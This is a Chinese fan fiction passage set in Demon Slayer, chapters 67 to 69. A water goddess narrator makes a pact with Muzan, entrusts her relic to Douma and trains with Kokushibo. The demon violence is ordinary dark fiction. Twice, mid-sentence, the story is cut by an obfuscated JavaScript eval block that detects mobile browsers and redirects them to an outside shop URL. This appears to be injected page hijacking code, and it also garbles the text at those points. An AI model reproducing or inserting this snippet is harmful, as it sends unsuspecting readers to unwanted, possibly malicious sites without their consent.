人活在世上,各有各的风光,各有各的挣扎。你没有经历过他人的人生,就没有权利妄言他人存在的意义。 何况也只有我还记得,那孩子将这意义视为比什么都重要的东西,甚至为此献出了自己本来拥有的、洁白而耀眼的灵光。 ——我希望大家都能从我这里得到幸福,这是我存在的意义。 那孩子曾经是真的想要救人,但当他活生生的被人类的苦难吞噬殆尽后,人类却反过来嘲笑他是个傻瓜。 他的确曾经吃人无数,但人类也是依靠无数生物的血肉而活,不仅如此,活在这世上的每一条生命,都离不开其他生命的供养,在这场灵魂的审判中,谁又有资格指责谁? 我不恨人类,不恨他们用堤坝切断我的河流,不恨他们夺去我的生命,夺去我巫女的生命。 但我也不再爱人类,因为他们如此冷漠的,践踏了那个孩子的灵魂。 既然如此,就挥刀斩断吧。 将心中的犹豫,以及所有的软弱,全部斩断。 因为我原本就是神灵,神名为,白姬。 这一次,我要将命运牢牢握在自己手里。 呼啸漫卷的蓝炎从我的全身涌出,在顷刻之后转变为火焰般明亮的金色灵光。我蓦然抽刀,听到了剑气撕裂空间的爆鸣。 第一刀斩碎了无限城的幻境。 第二刀斩碎了无惨大人的半边身体。 直到第三刀,虚哭神去掀起了银色的月华之潮,布满眼睛的狭长妖刀和我的刀刃撞在一起,金铁交鸣间,隔着两道寒光,六目的鬼剑士对我轻轻点了点头。 “很好…这…便是杀意。” “和您说的不太一样,黑死牟大人。”我冷静地说,“这只是神灵的力量而已。但还是感谢您,教会了我真正的剑之道。” 巨大的冲击力荡开一道余波,大大小小的月刃和金色的流光交织在一起,周遭的一切转瞬间被夷为平地。 鬼王在一团黑气中迅速修复了身体,我看到他脸上转瞬即逝的恼火,但很快,那双红梅般鲜艳欲滴的眼中就流露出疯狂的喜悦。 “哈哈,那女人果然没骗我,你真的是神灵!” “您也真的是个大好人呢,无惨大人。”我笑着将手中的东西举起来,“您什么时候找到了我的御神体?虽然只有一小块,但也帮了我大忙呢!” 那是一块半透明的白色物体,在昏暗中散发着淡淡的金光。数百年以前,它曾是荒川之神头顶的独角,虽然现在只剩下骸骨,但依然意味着,我那不知被封印在地狱何处的御神体,终于露出了端倪。 无惨大人美丽的脸上青筋暴起,看起来有点恼羞成怒:“什么时候…你竟敢…” “这么重要的东西,我不喜欢别人替我保存。”我从容地收起了刀,“您已经死过一次,也该明白不要以控制他人的性命作为合作的基础,对吗?” 鬼王咬牙切齿地瞪了我一会儿,终于嘶声问道:“你的条件是什么?” “说到这个,那可就多了。”我礼貌地微笑道,“请您再召集一次上弦集会吧。啊,其实也不用麻烦了,童磨大人马上就到。” 话音刚落,不远处就响起了那只鬼贱兮兮的声音: “诶呀呀,这是怎么啦?小染怎么又跟人打架了呀?” 童磨摇着扇子,慢悠悠地走了过来,脸上挂着无比诚挚的微笑。 “抱歉,我迟到了哦~但这真是个美好的夜晚呐~” 67. 神之子(17) 第不知道多少次上弦会议,终于在无惨大人和颜悦色的主持下,在地狱里就地召开了。 说和颜悦色有点夸张,他看起来要把满口獠牙都咬碎了。 我能理解,大名们都担心下克上这种事,更何况无惨大人可是平安朝的贵族,我们这些后辈跟他谈什么合作,大概是他千年鬼生里的头一次。 呃,也未必是头一次,毕竟听说他也算是个事业有成的商人嘛。 “还请黑死牟大人做个见证。”我向那威严的鬼武士微微倾身行礼,“在战国的时候,像是信长公和家康公那样订立长期盟约的情况,应该很常见吧?” 黑死牟大人点了点头,但又沉声道:“那种盟约…并不可靠。背叛者…比比皆是。“ “的确,天下没有一成不变的同盟,但那取决于大家是否有着同样的目的,以及是否能获得平等的利益。” 说到一半,我发现狯岳在一旁的树后露出半张脸,小心翼翼地看着这边。 “你过来啊,你不是上弦嘛?”我叫他。 大概是这群鬼都太有压迫感,还是个孩子的小狯岳满脸紧张地往后缩了缩。 “他是上弦吧?”我问黑死牟大人,“听说是您推荐的。” “是。”上弦之壹干脆地说,“这孩子…有潜力。” “无惨大人有意见吗?“我又问道。 “不要用这些无聊的事浪费我的时间。”鬼王厌烦地说,“你的废话也太多了点。” “开会嘛,每个人的想法都很重要哦,我听说人类的那个什么内阁,比这复杂多了呢。”童磨边兴高采烈地帮腔,边招招手,“小狯岳,快过来吧~” 狯岳脸上白一阵红一阵,但还是走过来找了个角落坐下。 年轻人,还是拘谨,习惯就好。 “那么我继续。”我说。 “产屋敷一族现在还有几个孩子在世,无惨大人?“ “产屋敷将后代一直隐藏的很好,上次我去见那个丑陋的男人时,只见到两个女孩,应该都死了。”无惨大人冷冷地说,“主持无限城决战的是下任家主,不知是男是女,大概也是个小孩子。” “不简单啊,能指挥整场作战的小孩子吗?”我想了想,“那么回去后的第一步就是要追查清楚这家剩下的血脉,以及和阴阳师的家族还有哪些联系。” “不必那么麻烦,我早有计划。”鬼王露出个森然的笑,从怀中摸出一块黑气缭绕的暗红色石头,“我把我最后的血放在了这里面,你要做的只是将它带到产屋敷家主的所在,我自有办法对付他。” “此事不妥。我要对您提的条件之一就是,即便回到人世,您也要保持蛰伏,不可急于复仇,不可杀人吃人,不可制造眷属,需要大约五十年的时间,您能接受的话,我们再来谈其他条件。“ 无惨大人的脸阴沉了下来。 “女人,你是在耍我吗?“ “我如此要求是有我的理由的,别忘了,神灵能看到的那张因果之网,您看不见。”我淡淡道,“您也可以将这当作一种预知能力。大约再过五十年,产屋敷一族就会完全忘记您这位鬼王的存在,您将成为书里的故事和童话,到时如果您还想复仇,也可以有很多其他的手段…” “荒谬!”无惨大人拍碎了一旁的树桩,“我要的就是碾碎产屋敷和那群猎鬼人的脑袋!越快越好!我只要他们死!“ “但您也想要成为永生的存在,并且您在人类的世界一直过的很好,对吗?”我注视着他,“这就需要您来选择了,是急于复仇之后再次掀起仇恨、最终再招致人类的追杀,还是暂时蛰伏五十年,当敌人完全失去警惕心的时候,再图大计?据我所知,家康公之所以获得天下,正是因为懂得蛰伏的道理,您的忍耐力难道还不如人类的大名?“ “况且,”我继续解释道,“这五十年您除了我说的那些禁忌外,想做什么都可以,不论做生意还是吃喝玩乐,哪怕换个拟态进入幕府…不对,那叫什么来着?内阁?总之就是主政者的圈子,全都可以,如果您足够聪明,甚至能够培植自己的势力。这一切都需要您暂时收起您的獠牙和利爪,不懂得收敛爪牙的野兽,只能落得被猎人剥皮的下场,您是知道的吧?“ “我才是猎人,那些蝼蚁不配站在我的头上羞辱我。”鬼王危险地眯起了那对红眸,“我活了一千年,从未有过如此屈辱的……” “说起这个,也不是完全没有过吧?大人?“童磨用扇子点着下巴,做出认真思考的表情,“我们这些鬼可都记得清清楚楚呢,对吧,黑死牟大人?” “童磨!你竟敢提起那个怪物!”无惨大人身上轰然炸起了暴戾的黑气,“我看你是活腻了!“ 童磨张开一面扇子,掩住了嘴角的尖牙,只露出一对笑眯眯的彩虹瞳,“人家可什么都没有说哦,您稍安勿躁嘛~我看小染说的有道理,您要不要重新考虑一下您的计划?毕竟大家是同盟嘛,我们可一直都在担心大人您的安危呢~” 无惨大人恶狠狠地怒视着我俩,转头看向了上弦之壹:“黑死牟!你也和他们一样吗?” 黑死牟大人优雅的欠了欠身:“属下…出身武士之家,对德川氏的隐忍…以及…气量…确是有所耳闻。” “好,你们一个一个…都要反抗我是吗?”无惨大人的面孔有些扭曲。 “真要造反,您就不会站在这里了。”我平静地望着他,“您不是小孩子了,无惨大人,不是每个人都有空陪您在地狱里聊天。请试着以平等的姿态,来对待身边的人吧。或者您还需要冷静一下,我们过段时间再谈?“ “不要再拖了,我今天就要看到结果!”鬼王咬了咬牙,终于斩钉截铁地说,“白姬小姐,你最好不要让我失望!“ “好,那我们继续。如果您同意了我关于五十年蛰伏的提议,那么在接下来的这段时间,我需要您给予我绝对的信任,无论发生什么事,哪怕是生死关头。您可以做到吗?” 我紧紧盯着他,“如果信任失败,我们之间的盟约也会失效。我知道对您来说这一定很难,毕竟您对我不熟悉,我对您也一样,但童磨大人知道,我是个信守承诺的人,如果您按我说的维系了这个盟约,我也会尽己所能的将你们一个不落的救出地狱,但这里面必然存在风险,我们将一起面对来自天道的挑战。无惨大人,您愿意以鬼王之名,与我这个神灵立约吗?” 无惨大人苍白的脸上浮现了一个邪肆且疯狂的笑。 “你是要和我赌命吗?白姬小姐?” “是的,这是一场豪赌。但这不仅关乎您一个人的命运,也关乎我们所有人的。”我说,“您考虑清楚再回答。” 鬼王眯了眯沉黯的梅红色眼睛,竖瞳闪着凶兽才有的寒光。 “那么我鬼舞辻无惨就和你赌这一场,荒川之神。” 他轻声细语的说,“现在是否可以告诉我,你到底要做什么?” “从明天开始,我会在寻找开门的方法的同时,用水神的灵力为您净化掉您身上的怨气,即是传说中的‘祓禊‘之法。这个过程可能会很痛苦,但我会陪您一起,不会放弃您。” 无惨大人的眼中滑过了一丝显而易见的愕然,但很快恢复了阴沉。 “你的确是个有趣的女人,白姬小姐。”他冷然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252344|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“愿我们合作愉快。” 散会后,狯岳追了上来。 “那个…你还没说我该干什么呢?”少年拧着眉头问,“你这算是跟我们一伙了吧?水神…大人?” “你现在信我是个神了?”我有意揶揄他。 “神怎么了?“他不服气的说,“谁还没去过神社呢?我这勾玉就是神社里的。” “看不出你这么虔诚呢,小狯岳。”我笑嘻嘻的说,“买这么多挺贵的吧?” 他眼神暗了暗。 “你要听实话吗?”他冷笑,“是我从摊子上偷的。大概就因为是偷来的,神灵从没保佑过我,这样才会下地狱吧。” “偷来的也没关系,神灵会保佑你的。” 我微笑着说,“好好练你的刀。另外你也要和无惨大人一样想清楚,是你师弟的脑袋重要,还是你自己得到幸福更重要。” “切,你管的还真多!”少年不屑一顾地说。 “我也觉得,毕竟你都快十八岁了,小狯岳。”我真诚的说,“这只是一个比你大几百岁的前辈的建议而已。” “小染~你好慢哦~” 前方传来某只鬼懒洋洋拖长了的声音,我跑了过去,紧紧地拉住了他的手。 童磨笑眯眯地看着我:“小染好厉害哦,竟然能说服无惨大人?你就那么相信他嘛?人家可要提醒你一句,我们的这位鬼王一直是个反复无常的人呢,听说就连当年帮他治病的医生,不小心都被他给砍死了呐~” “我发现了,你们这些鬼之间流传的八卦,一点也不比将军大人的大奥里少呢!”我叹了口气,“你想听听别的鬼是怎么说你的吗?童磨大人?” “诶?据我所知,我一直都很受欢迎呀!”他露出了天真无辜的表情,“难道不是这样吗?” 我无语的盯了他一会儿,看他确实毫无自知之明,只好点点头:“没错,特别受欢迎!大家都爱你!” “就是嘛~”鬼高兴地说,“无惨大人的态度也改变了很多呢,但小染也不可以对他放松警惕哦~” “童磨大人是在关心我吗?” 鬼睁大了那双剔透的虹色眼睛:“这是什么话嘛,小染是人家的眷属,人家关心你也是应该的呀~” 我望着他的眼睛,忽然觉得,命运有时也没有那么残酷。 至少,在经历了这么多的黑暗之后,我们还能重逢。 “对了,说到眷属,这个给你。” 我从怀中摸出那只骨角递给他。 童磨接了过去,好奇地对着眼睛举起来。 “哇啊~这是什么呀?好漂亮哦~” ”是我的御神体。”我轻声说,“虽然只有一小块,但这是神灵在人世的躯体。我既然是童磨大人的眷属,这个自然应该归你保管。” 鬼收敛了笑意,目光中居然带上了几分认真的意味。 “小染,你确定吗?”他声音温和地问,“这么重要的东西,要托付给人家保管嘛?” “正因为是性命攸关的东西,才要托付给童磨大人保管。”我认真地说,“因为在这个世界上,我最相信的人就是你。” 童磨默不作声地看了我片刻,随即弯起嘴角,露出了一个微笑。 “既然是性命相托,那我就收下了哦。这样的话,人家也把自己的命托付给小染好啦。虽然之前没能遵守约定,但这一次,我们谁都不可以耍赖哦~” 我郑重地点点头:“嗯,那我们拉勾。” 白橡色头发的恶鬼笑嘻嘻地伸出手,我勾住了他的手指。 “这一次,我们谁都不可以耍赖!” 68. 无限(1) 找到御神体的好处显而易见,就是那种神灵特有的感知力增强了不少。我不禁想到,如果两百年前我的神力没有衰退,也许真的能改变命运也说不定,至少我会找到那位极乐教的小神子,让他不必变成鬼,也能像个正常人一样活下去。 但那样的话,他也早就寿终正寝,不知转世多少次了。所以命运这东西,总不可能把所有的好处都给你。 回到住处,我又将那堆“时轮”的碎片从林子里翻了出来,按照记忆中的顺序摆好,又对照着那本笔记上的图仔细看了一遍,依然毫无头绪。上面的文字更像是某种咒文,一列列的非常整齐,如果能够补全,大概就能找到使用的方法。 “诶?小染还没放弃这个吗?”童磨凑了过来,“猎鬼人的武器,就算复原也不能用了吧?” “不止是武器。”我思忖道,“我在修罗院千越那里接受这东西的‘试炼‘时,发现它能显示人世的景象,比如我看到的就是荒川神社。不知道为什么,我总觉得它和这次开门的条件有关,这是作为神灵的直觉。” 我拿起一块时轮的碎片,仔细端详着上面的咒文,“童磨大人,你还记得上一次这里通往人世的门打开时,除了产屋敷引发的爆炸,还发生过什么特别的事吗?” “这个嘛,我有记录当时的情景哦~” 那只鬼欢快地…将手指插进脑袋翻弄起来。 “啊啊啊算我求你了,不要再用这一招了!”这着实超出了我的承受能力,导致我几乎惨叫起来,“都流血了!真的很可怕啊!脑子会坏掉的啊!” “怎么会呢,人家的脑子可是超级好用的。”童磨相当自信地说,“找到啦~是产屋敷屋子下面的符咒哦,虽然爆炸时只有很短的一瞬间,但当时看的很清楚呢~” 我毛骨悚然地看他用手指沾着血,直接在地板上写下了那行咒文。 “你看,这样就简单多啦。” 那只鬼好像突然对此产生了兴趣,索性抓过他那张画着双六棋盘的纸,对着时轮上的咒文,开始在纸的背面写起了什么。 “你也太厉害了吧,连符咒也懂吗?”看他写的很流畅,我惊讶地插嘴道。 “当然是…不懂啦~”童磨边抄写那些符文,边笑嘻嘻地说,“但我从小看过很多经文那类的书,信徒们也常常送我书画什么的,人家的记性又很好,所以对这些很熟悉哦。” 的确…记性很好。时轮上那些复杂的纹样,这鬼只要扫一眼就能大段地抄写下来,几乎是过目不忘的程度。 细致的观察力,加上远超常人的记忆力……这种做人和做鬼都如此天赋异禀的家伙,到底是什么怪物啊! “找到啦,小染来看看。” 他指着时轮给我看,“产屋敷家的这段符咒,在上面总共出现了六次哦,而且每段符咒之间的字都是一样的,说明这只是一种经文而已,只要互相对照着就可以复原啦。” 我愣了片刻,激动到忘形,扑上去一把抱住了他。 “童磨大人真是太聪明啦!依我看,上弦之贰这个位置都委屈你了!” “啊哈哈哈,明明很简单嘛~不过小染这是在夸奖人家吗?光是嘴上说说可不够哦~” 这个斤斤计较的小气鬼! 我会意地把胳膊伸给他,没想他立刻做出一副无辜又可怜的表情: “小染这么久不在家,人家可什么东西都没吃呢,都快饿死啦~” 我只好痛快地拨开颈边的长发,把脖子露出来:“来吧,轻点咬就行。” 童磨大人笑的亮出了四颗獠牙,“那我就不客气啦~” 他一口咬了上来。 我已经完全习惯了这种被恶鬼啃噬时又麻又痛的感觉,于是一边由着他饮血,一边想着接下来的计划,却没留神被那只鬼一把按在了地上。 “奇怪,小染的味道变了呐,”鬼舔了舔嘴角的残血,眼中亮起了某种兴奋的光,“啊啊,这是什么味道呢?让我想想,就好像是…稀血的柱?不对不对,小染吃起来比那个还要香呢!” 我被他这番略显残暴的言论搞的有点哭笑不得:“你这是什么比喻啊?稀血的柱是什么东西?这只是因为找到了御神体的关键部分,会让我的灵体越来越接近神灵的身体,所以香气会更浓郁…等一下,我脖子要断了…” “诶?咬的太重了吗?”他后知后觉地放开了我被咬断一半的脖子,颇有些恋恋不舍,“好想吃掉小染呀,吃掉了的话,就可以永远在一起了吧?” 我笑着摸了摸他的头发,“不吃掉也可以在一起呀,我又不会逃掉。如果吃掉了的话,我就不能像这样陪童磨大人聊天了,也不能陪你玩双六了,你不觉得寂寞吗?“ “说到这个,我好像有点明白寂寞是怎么回事了,是很奇怪的感觉哦。变成鬼之前,遇到过那样的事呢,一直陪着我的女侍死掉了,屋子里突然变得很安静,那时我就想,如果真的能听到神灵的声音就好了,至少一个人的时候可以不那么安静嘛。” “但神灵到底是什么呢?”他好奇地打量着我,“别的神也像小染一样吗?” 他眼中那莫名渴望的寒光让我打了个冷战,“你…你不要抱有这种危险的想法啊!不是所有的神都可以吃的!” “只是好奇而已,毕竟我之前根本不相信还有神这种东西存在嘛。”童磨翻了个身,无辜地滚到一边,“小染也从来没有讲过呢。” “神灵啊…就和童磨大人小时候的感觉差不多,”我轻轻叹了口气,“神灵是寂寞的存在。” “正常的人类是看不见神的,除非是神灵主动现身,或者是有着特殊眼睛的孩子才行。童磨大人知道这是因为什么吗?” “我明白了,是因为神灵厌烦人类吧?”鬼做出一副“非常了解”的表情,“毕竟就算是善良又温柔的我,看到那些信徒没完没了的向我诉苦,也有厌烦的时候呢。” “不完全是因为这种缘故。这片土地上虽说有八百万神灵,但多数神灵都是自然中本来就存在的,远在人类来到这片地方、建立村子、开垦土地之前,它们就已经存在了,可以说人类打扰了它们的生活。” “但慢慢的,人类为了求得庇佑,开始用供奉来吸引那些懵懂无知的神灵,一旦享用了人类的供奉,就会被扯进人类的因果之网,接受的供奉越多,与这张网的纠缠就越紧密,如果人类给予了神灵一个名字,或者更改了神灵的名字,甚至就连神灵自己,也会逐渐变成从形态到力量都更符合人类期待的样子。” “许多自然中的神灵意识到了这一点,就躲到了无形的世界中,不再现身了。然而那些获得大量供奉的,就会受到人类思想和信仰的影响,变成人类喜欢的样子,甚至能干涉人世的事,但即使这样,他们也懂得让自己尽量不去牵涉人类的因果,而是只通过一些特定的人来实现他们的意志,这样的人就像棋子一样,连自己都很可能都不知道,他们来到世上只是为了完成神赋予的使命而已。很多有神官血脉的人或是有天赋的巫女之类,都是这样的‘棋子’,他们拥有某种直觉,能将神的意志传达给更多的人,由他们来执行具体的行动。” “这就是人类看不见神,也听不见神的声音,却依然相信神会降下天罚,拯救好人、惩治恶人的原因。”我笑道,“但就算是天罚,可能来的会很快,也可能是像无惨大人那样,过了一千多年才被打入地狱,全看背后的神灵怎样选择适合的棋子,说到底,就是掷骰子的人既想玩这场游戏,又不想过深的卷进游戏当中啦。” “原来如此!”童磨做恍然大悟状,“可那就奇怪了,如果神并不想管人类的事,为什么又会有天国和地狱这种东西存在呢?” “天国和地狱…其实是人类‘执念’的产物。人类这种生物天生拥有强大的意志,所以不论活着还是死了,都有很强的执念。”我说,“举个例子,童磨大人,你何时见过野兔和山羊或者其他动物出现在地狱里吗?鲣鱼、鲸鱼和蜗牛也没有吧?“ “诶?太有趣了!所以说,人类是真的用自己的脑子挖了个地狱出来吗?“鬼哈哈大笑起来,“人家确实曾经听鬼杀队的孩子说过类似的话呢,‘就算没有地狱,也要挖一个给你’,诶呀呀,真是太了不起了!证明人类并不是虚无飘渺的存在嘛!” “你有什么可得意的?被他人如此憎恨着,难怪连毫无执念的你都会下地狱。”我无奈的叹了口气,“以后尽量不要招惹那种人…算了,我忘记童磨大人不懂人类的爱和恨了。” “那是因为我是鬼呀,也是没办法的事啦~”童磨笑的毫无廉耻,“这么说的话,地狱还真是人类编造出来安慰自己的童话嘛,人家并没有说错哦~” “可以这样认为,但又不全对。”我认真道,“最初只有我们神灵称为‘天道’的东西,它不偏不倚,你可以将它理解成一种自然的平衡,就像蛇以蛙为食,山猫以野兔为食,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252345|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们谁也不会执着于生死,所以在‘天道’之下,并没有天国地狱之分。它非常公平,蛇无法吃光所有的蛙,蛙也繁衍不息,双方都了解自己的位置,猎食者不贪婪,被猎食者不执着,因此即使身体死掉,也可以迅速转世成其他的形态。” “但人类的执念逐渐打破了这种平衡,或者说,他们以自己的执念,将天道的一部分扭曲成了天国和地狱的样子。你记得我说过,地狱是信念的世界吗?活人的执念和死者的执念共同组成了你现在看到的这个地狱,但对堕入这里的灵魂而言,因为无法从执念中解脱,导致灵体受到的惩罚都是真实的,如果是虔诚的信奉者,甚至还会遇到经文里所描述的那些可怕刑罚。所幸童磨大人虽然看的经文多,但从没真正信过,否则我怕是还要费点力气才能把你从业火地狱里救出来,哈哈!” “因为人家从小就很聪明,知道那些经文都是我父母东拼西凑拿来骗信徒的,就是迷信而已~”童磨以一只手支着头,笑嘻嘻地说:“也就是说,并不存在所谓的救赎哦?“ “真正的救赎来自人类的心。但人类从来都无法克制欲望,也不能停息对彼此的戕害和憎恨,更没办法将自己从执念中解脱,所以他们活在人世时被因果之网缠裹,无法获得幸福,只能寄希望于死后在天国和地狱得到应有的报偿。而无惨大人和他造出的这些鬼,更是执念的化身,又被太多人憎恨,所以格外难得到救赎。”我叹息道,“神佛也并不想沾染人类的因果,据我所知,敢发大愿、到地狱中救度灵魂的,只有地藏菩萨一人。” “那小染的执念又是什么呢?你是神灵,也会被人类的执念拖进地狱里吗?“ 鬼的眼神天真又好奇,仿佛八岁小孩。 啊…这个笨蛋,果然是…毫无感知啊。 我忍住了想要揍他的冲动,恶狠狠地说:“我的执念就是快点把童磨大人从这里救出去,免得你脑子的问题越发严重了!” “多么感人的愿望~”他又开始假惺惺地擦眼睛,“但小染真的不怕吗?鬼吃人是一种本能,就像你说的蛇会吃青蛙一样,也许人家就算回到人世,也还是爱吃美味的女孩子哦,到时候你该怎么办呐?” “我还是那句话,童磨大人不是小孩子了,自己要对自己做的事负责。”我认真的说,“我自己也在很长一段时间内以人肉为食,但最终摆脱了那种习惯。不论是鬼神还是人类,都要随着时间的推移而演进,否则就要被时代所淘汰。当然,如果你实在一时戒除不了,我们也可以想点别的办法,我知道这会很难,但我有耐心等你慢慢来,反正大不了再来地狱里捞你一次嘛。“ “诶呀呀,这话说的,人家的心跳都加速了呢!”那只鬼忽然诡异的面泛春色,一把抓住我的手贴到胸口,“你看看,是真的心跳加速了吧?这就是爱的表白吧?一定是一定是!小染为了我还愿意再下一次地狱,好幸福呀~” 我默默把手抽了回来,“我回到人世还有其他的事要做,没空天天盯着你吃不吃人,所以童磨大人好自为之。” “不要嘛~人家不要一个人!”童磨那收放自如的眼泪立刻掉了下来,“我要把小染带回极乐教,你肯定会喜欢那里的,秋天山里的枫叶很漂亮哦~” 我不留情面地嘲讽道:“童磨大人还真是乐观,你以为你那个极乐教在你死了以后还能存在多久?人类的信仰是不可靠的。况且我更喜欢呆在江户…” “江户现在已经叫东京了,”鬼笑眯眯地伸出一根手指在我眼前摇了摇,“跟不上时代的是神灵大人自己哦~” “什么嘛,怎么连名字都改了?!好讨厌人类啊!”我沮丧地趴在了地上,这地方实在年头有些久远,连榻榻米都泛着陈旧的味道,“算了,不纠结这种小事了。我接下来要把时轮修好,还要帮无惨大人做祓禊,还要再跟黑死牟大人学几个剑型,接下来这段时间会非常忙,所以狛治阁下和恋雪就拜托给你了。另外,有可能出现’门‘的区域的调查也要由童磨大人来做,毕竟你之前记下了相关的信息,应该比较熟悉。” 童磨不知何时坐了起来,眯起那双漂亮的彩虹瞳看着我。 “对了,果然还有一件事想问小染呢,”他语气轻松温柔,目光却透出上弦鬼才有的锐利,“就算明知他是什么样的人,你也要救无惨大人吗?” 我也微笑着直视他:“这是游戏的一部分哦,童磨大人。我要以自己的方式,彻底抹除产屋敷一族的威胁。” 69. 无限(2) 在找到黑死牟大人前,我先见到了狯岳。他站在一片空地上,两手握着早云那把又厚又重的反曲刀,上衣扎在腰上,竟然在练习最基本的素振。 少年的身体瘦且结实,一看就是长年在室外锻炼过,手臂和背部的肌肉显得尤其有力,只是背上纵横着好几处伤疤,有一处明显是什么东西的爪子造成的贯穿伤,看的人惊心动魄。 “小狯岳,你干什么呢?”我好奇的站在一边围观,“你都练了多久的刀了,怎么还在练这个?我以前看那些武士家的小孩子才练这个呢。” 他根本不理我,只是绷着脸一遍遍挥刀,手劲沉稳,刀风凛冽,竟然比我第一次看他用这把刀时像样了不少。 大概重复了好几百次,他才停下来,呼了口气,把刀插回刀鞘。我早泡好了一壶茶,找了处树桩坐下,自顾自的喝了起来。 他皱眉看着我:“你哪来的茶具?” “我捡的。”我举起杯子炫耀给他看,“以前这里的鬼杀队留下的。你尝尝吗?味道还不错呢!” “鬼杀队的东西你也敢碰?也不怕下毒。”他嘴上这么说着,身体却诚实的走过来,“女人还真是麻烦,都在地狱里了,还要泡茶。” “这有什么,无惨大人还喝咖啡呢。你知道什么叫咖啡吗?” 他端起茶杯小心的喝了一口:“还真是茶?咖啡是什么东西,没听过。” “什么嘛,你不是大正时候的鬼吗,听说咖啡是西洋人带来的,在浅草那边开了很多店。”我把从童磨那里打听来的东西现学现卖,“店里还卖点心呢。” “谁有空去那种地方?”狯岳不屑的嗤了一声,“我做人的时候整天出任务,天黑了鬼才出来,经常连觉都没得睡,白天有点时间还要练刀,忙的要死。” “看来鬼杀队和鬼都很辛苦啊,连作息时间都差不多。”我叹气,“大家放过彼此,就都可以过上幸福安稳的生活了。” 狯岳喷出了一口茶。 “鬼要吃人的,水神大人!鬼杀队里也大多是被鬼吃了家人的小孩,报仇还来不及,谁他妈肯放过谁啊!”他咧着嘴狂笑,“看不出来你活了几百年,竟然还这么天真啊。” “我知道啊,给你的这把刀的主人,曾经亲手杀了他变成鬼的妹妹。” 狯岳的脸抽搐了一下,看向刀的目光顿时有点复杂。 “他妹妹叫鹤子,所以他就算死了好几百年,都来了地狱,身上还穿着鹤纹的羽织。”我轻声说,“希望他现在已经转世了,还能再见到那个女孩子,跟她说句对不起。” “你说的是那个鸣柱?这人也太没用了吧。我可听说过,我师弟他们那届有个新人的妹妹变了鬼,他一路都用箱子背着她,从来都没丢下过。那女孩也不吃人,不知道是怎么做到的。” “还有这种奇事?”我隐约想起好像听谁说过类似的事,“鬼也可以不吃人?” “不吃人的鬼和人类有什么区别,别说上弦,连下弦都当不上。”狯岳冷冷地说,“鬼吃的人越多才能变得越强,否则随便哪个下级鬼都能干掉你,还不如直接去死。” “这个我知道,听说最好多吃女孩子。”我点头,“不过你说的这个不吃人的女鬼的事我记下了,回去调查一下。” “你就这么有信心能把我们这些鬼弄回去?”狯岳狐疑地问,“我可没听说下了地狱还能出去的。” “上一个这么问我的是小梅,就是你的前任。她和哥哥已经去转世了。”我捧着茶杯,胸有成竹地微笑,“关键是想明白自己到底要什么。加油啊,小狯岳。” “别拿这种无聊的问题烦我。”狯岳不耐烦地抓起刀,“我忙得很。” “你这说话的口气怎么那么像无惨大人?”我惊讶地说,“你可不要学他啊,对你没好处。” 他的目光明显躲闪了一下,还是嘴硬的顶了一句“关你什么事?”,就扭头走了。 唉…我要是他师父,怕是也会切腹,气的。 “您都看见了吧,这孩子还真是倔强呢,也不知道什么样的人才能教的了他。” 我望向林子里面,在昏暗的光线下,身披紫色羽织的高大武士立在那里,沉默地注视着狯岳的背影。 听到我的话,他并不看我,只是缓缓开口道:“为何还来?” “我还没有出师啊,黑死牟大人。只是大约知道了什么是杀意而已,但您的那一剑,我还是没能完全掌握。”我微微躬身行礼,“而且我还想学其他的剑型,能不能请您继续教导我呢?“ 鬼剑士转过了头,六只眼睛散发着瘆人的幽光。 “我…始终未能找到…月之呼吸的继承人。你…真的…想学吗?” “大人,呼吸法我是学不会的。”我诚实地说,“按照我的理解,鬼杀队的剑士都是人类,呼吸法应该为了增强人类的身体强度和剑的速度,让人类能够拥有与鬼抗衡的力量,才诞生的吧?但我天生是神灵,从体质上自然和人类不一样,就算学不会呼吸法,只学剑型的话,应该也没什么大问题吧?您就当试试看嘛,反正闲着也是闲着。不过我资质愚钝,剑技也纯属乱来,您不要气到揍我就行,嘿嘿。” 我的脸皮啊…真是越来越厚了… 近朱者赤,近墨者黑,此乃真理。 黑死牟大人不置可否地盯了我片刻,最终微微点了点头。 “你既要试…便试吧。” 暗月·宵之宫实为居合斩。从黑死牟大人沉缓的讲述中我才得知,这种剑技原是战国时的武士所创,因为进入室内觐见主君或会见其他武士时,按礼仪要保持单膝下跪的姿势,刀是要解下来放在身边的,但这种时候也是最易被人偷袭的时刻,因此就有了这种讲究以极快的速度拔刀、一击必杀的招式。做到这一点的关键在于,不论是身体的哪个部分,不论是头脑,还是双腿双手,都一刻也不能放松,必须提起精神做好拔刀迎敌的准备。久而久之,就变成了哪怕是太刀在战场上折断这种突发状况下,也能迅速拔出短刀或其他武器做殊死搏斗的招式。 与其说是招式,不如说是一种在危机四伏的环境中时刻保持警惕的觉悟。上弦之壹在讲述这些时带着一种近乎沉闷的平静,然而我却仿佛又看到了那段动荡血腥的岁月在他身上留下的影子,深黯如人心,凌厉如恶鬼。 月之呼吸无人能学会并不意外,毕竟不是谁都有这样随时需要和人拼命的经历。 但我有,在地狱的两百年,我过的就是这种日子。 先练的是拔刀的速度,其次是挥刀的力量和精准性。 以十次为一组,只要我拔刀时被他挡住,就再加十次。 